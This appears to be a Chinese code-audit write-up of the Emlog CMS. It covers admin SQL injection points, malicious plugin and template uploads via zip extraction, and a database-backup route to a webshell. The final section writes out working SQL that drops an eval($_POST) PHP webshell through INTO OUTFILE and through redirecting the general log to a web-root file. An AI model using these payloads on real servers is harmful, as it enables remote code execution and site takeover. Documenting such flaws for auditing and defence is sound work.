Emlog下载地址:https://www.mycodes.net/42/1492.html
1、后台SQL注入(一)
/admin/tag.php,继续跟进deleteTag函数
/include/model/tag_model.php,参数$tagId未进行过滤

2、后台SQL注入**(二)
**
/admin/widgets.php,参数$widgets未进行任何过滤,跟进updateOption函数
/include/lib/option.php

3、文件上传**(一)
**
admin/plugin.php,跟进getFileSuffix函数
/include/lib/function.base.php,返回传入文件格式
知识点:pathinfo(path,options):函数以数组的形式返回文件路径的信息
path:必需,规定文件路径
opt**ion:**可选。规定要返回的数组元素。默认是 all
PATHINFO_DIRNAME - 只返回 dirname
PATHINFO_BASENAME - 只返回 basename
PATHINFO_EXTENSION - 只返回 extension
![UGD{%6{4WOP9TSX(VP5EDI.png
/include/lib/function.base.php,跟进emUnZip函数,zip解压操作
function emUnZip($zipfile, $path, $type = 'tpl') {if (!class_exists('ZipArchive', FALSE)) {return 3;//zip模块问题}$zip = new ZipArchive();if (@$zip->open($zipfile) !== TRUE) {return 2;//文件权限问题}$r = explode('/', $zip->getNameIndex(0), 2);$dir = isset($r[0]) ? $r[0] . '/' : '';switch ($type) {case 'tpl':$re = $zip->getFromName($dir . 'header.php');if (false === $re)return -2;break;case 'plugin':$plugin_name = substr($dir, 0, -1);$re = $zip->getFromName($dir . $plugin_name . '.php');if (false === $re)return -1;break;case 'backup':$sql_name = substr($dir, 0, -1);if (getFileSuffix($sql_name) != 'sql')return -3;break;case 'update':break;}if (true === @$zip->extractTo($path)) {$zip->close();return 0;} else {return 1;//文件权限问题}}

新建一个shell文件夹,必须存在同名的PHP文件,压缩为zip上传

4、文件上传**(二)
**
解压操作都一样,这里上传zip压缩包名必须header名字,同时文件夹下文件名字也是header命令
/admin/template.php


5、数据库备份getshell
先进行备份,再插入SQL语句,压缩导入
# 使用select...into file,不过没有配置secure-file-priv,所以失败
select "<?php eval($_POST['a']);?>" into outfile "E:/PhpStudy/PHPTutorial/WWW/project/emlog/shell.php";
# 设置打开日志和路径格式,查询一句话即可
set global general_log='on';
set global general_log_file='E:/PhpStudy/PHPTutorial/WWW/project/emlog/shell.php';
select '<?php phpinfo();?>';

